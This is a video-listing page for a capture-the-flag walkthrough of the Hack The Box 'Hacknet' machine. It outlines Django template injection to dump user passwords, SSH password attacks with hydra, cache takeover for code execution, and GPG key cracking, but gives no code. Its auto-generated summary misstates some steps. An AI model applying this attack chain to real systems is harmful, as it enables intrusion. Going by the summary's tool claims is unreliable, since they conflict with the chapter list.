box. Hope you guys enjoyed it. Take care and I will see you all next

Original Description

00:00 - Introduction 00:40 - Start of nmap 03:20 - Looking at Wappalyzer's technologies folder to see how it is detecting Django (csrfmiddlewaretoken) 07:05 - Showing Nuclei doesn't crawl any pages when it tried to detect tech 09:00 - Signing up for the site, playing with SSRF 11:00 - SSTI found, but it is Django Template Engine, looking at PayloadAllTheThings for payloads 14:20 - Creating a python script that will let us fuzz for variables in the Django templates context to see what we can dump 24:10 - Finding there is a users variable, which does include their password 31:10 - Modifying our script to like every single comment and then dump users to try and get as much user information as possible 43:20 - Creating a list of username:password and also emailUsername:password then running hydra to get SSH Access 49:45 - Looking at the Django Database, not finding anything too interesting 52:30 - Looking at Djangos File Based Cache, identifying we can take over the cache from SSH and get RCE 59:50 - Cracking Sandy's GPG Key and then decrypting a backup to get the root password
Watch on YouTube ↗ (saves to browser)
Sign in to unlock AI tutor explanation · ⚡30

Playlist

Uploads from IppSec · IppSec · 0 of 60

← Previous Next →
1 HHC2016 - Analytics
HHC2016 - Analytics
IppSec
2 HackTheBox - October
HackTheBox - October
IppSec
3 HackTheBox - Arctic
HackTheBox - Arctic
IppSec
4 HackTheBox - Brainfuck
HackTheBox - Brainfuck
IppSec
5 HackTheBox - Bank
HackTheBox - Bank
IppSec
6 HackTheBox - Joker
HackTheBox - Joker
IppSec
7 HackTheBox - Lazy
HackTheBox - Lazy
IppSec
8 Camp CTF 2015 - Bitterman
Camp CTF 2015 - Bitterman
IppSec
9 HackTheBox - Devel
HackTheBox - Devel
IppSec
10 Reversing Malicious Office Document (Macro) Emotet(?)
Reversing Malicious Office Document (Macro) Emotet(?)
IppSec
11 HackTheBox - Granny and Grandpa
HackTheBox - Granny and Grandpa
IppSec
12 HackTheBox - Pivoting Update: Granny and Grandpa
HackTheBox - Pivoting Update: Granny and Grandpa
IppSec
13 HackTheBox - Optimum
HackTheBox - Optimum
IppSec
14 HackTheBox - Charon
HackTheBox - Charon
IppSec
15 HackTheBox - Sneaky
HackTheBox - Sneaky
IppSec
16 HackTheBox - Holiday
HackTheBox - Holiday
IppSec
17 HackTheBox - Europa
HackTheBox - Europa
IppSec
18 Introduction to tmux
Introduction to tmux
IppSec
19 HackTheBox - Blocky
HackTheBox - Blocky
IppSec
20 HackTheBox - Nineveh
HackTheBox - Nineveh
IppSec
21 HackTheBox - Jail
HackTheBox - Jail
IppSec
22 HackTheBox - Blue
HackTheBox - Blue
IppSec
23 HackTheBox - Calamity
HackTheBox - Calamity
IppSec
24 HackTheBox - Shrek
HackTheBox - Shrek
IppSec
25 HackTheBox - Mirai
HackTheBox - Mirai
IppSec
26 HackTheBox - Shocker
HackTheBox - Shocker
IppSec
27 HackTheBox - Mantis
HackTheBox - Mantis
IppSec
28 HackTheBox - Node
HackTheBox - Node
IppSec
29 HackTheBox - Kotarak
HackTheBox - Kotarak
IppSec
30 HackTheBox - Enterprise
HackTheBox - Enterprise
IppSec
31 HackTheBox - Sense
HackTheBox - Sense
IppSec
32 HackTheBox - Minion
HackTheBox - Minion
IppSec
33 VulnHub - Sokar
VulnHub - Sokar
IppSec
34 VulnHub - Pinkys Palace v2
VulnHub - Pinkys Palace v2
IppSec
35 HackTheBox - Inception
HackTheBox - Inception
IppSec
36 Vulnhub - Trollcave 1.2
Vulnhub - Trollcave 1.2
IppSec
37 HackTheBox - Ariekei
HackTheBox - Ariekei
IppSec
38 HackTheBox - Flux Capacitor
HackTheBox - Flux Capacitor
IppSec
39 HackTheBox - Jeeves
HackTheBox - Jeeves
IppSec
40 HackTheBox - Tally
HackTheBox - Tally
IppSec
41 HackTheBox - CrimeStoppers
HackTheBox - CrimeStoppers
IppSec
42 HackTheBox - Fulcrum
HackTheBox - Fulcrum
IppSec
43 HackTheBox - Chatterbox
HackTheBox - Chatterbox
IppSec
44 HackTheBox - Falafel
HackTheBox - Falafel
IppSec
45 How To Create Empire Modules
How To Create Empire Modules
IppSec
46 HackTheBox - Nightmare
HackTheBox - Nightmare
IppSec
47 HackTheBox - Nightmarev2  - Speed Run/Unintended Solutions
HackTheBox - Nightmarev2 - Speed Run/Unintended Solutions
IppSec
48 HackTheBox - Bart
HackTheBox - Bart
IppSec
49 HackTheBox -  Aragog
HackTheBox - Aragog
IppSec
50 HackTheBox - Valentine
HackTheBox - Valentine
IppSec
51 HackTheBox - Silo
HackTheBox - Silo
IppSec
52 HackTheBox - Rabbit
HackTheBox - Rabbit
IppSec
53 HackTheBox - Celestial
HackTheBox - Celestial
IppSec
54 HackTheBox - Stratosphere
HackTheBox - Stratosphere
IppSec
55 HackTheBox - Poison
HackTheBox - Poison
IppSec
56 HackTheBox - Canape
HackTheBox - Canape
IppSec
57 HackTheBox - Olympus
HackTheBox - Olympus
IppSec
58 HackTheBox - Sunday
HackTheBox - Sunday
IppSec
59 HackTheBox - Fighter
HackTheBox - Fighter
IppSec
60 HackTheBox - Bounty
HackTheBox - Bounty
IppSec

The video demonstrates a hack of the Hacknet box from Hack the Box, involving a SSTI vulnerability using the Django template engine. The hack requires exploiting a vulnerability to dump user data, cracking passwords, and gaining root access to the system. The video covers various tools and techniques, including Wapalyzer, Nuclei, Burp Suite, and hydra.

Key Takeaways
  1. Use Wapalyzer to detect the Django framework
  2. Use Nuclei to detect the SSTI vulnerability
  3. Exploit the SSTI vulnerability to dump user data
  4. Use hydra to crack passwords
  5. Use GPG to crack PGP keys and gain root access
💡 The Django template engine can be exploited using SSTI vulnerabilities, allowing attackers to dump user data and gain access to the system.

Related AI Lessons

Chapters (13)

Introduction
0:40 Start of nmap
3:20 Looking at Wappalyzer's technologies folder to see how it is detecting Django
7:05 Showing Nuclei doesn't crawl any pages when it tried to detect tech
9:00 Signing up for the site, playing with SSRF
11:00 SSTI found, but it is Django Template Engine, looking at PayloadAllTheThings f
14:20 Creating a python script that will let us fuzz for variables in the Django tem
24:10 Finding there is a users variable, which does include their password
31:10 Modifying our script to like every single comment and then dump users to try a
43:20 Creating a list of username:password and also emailUsername:password then runn
49:45 Looking at the Django Database, not finding anything too interesting
52:30 Looking at Djangos File Based Cache, identifying we can take over the cache fr
59:50 Cracking Sandy's GPG Key and then decrypting a backup to get the root password
Up next
This Cop Was Held Accountable For His Brutality! #police #lawyer
Hampton Law
Watch →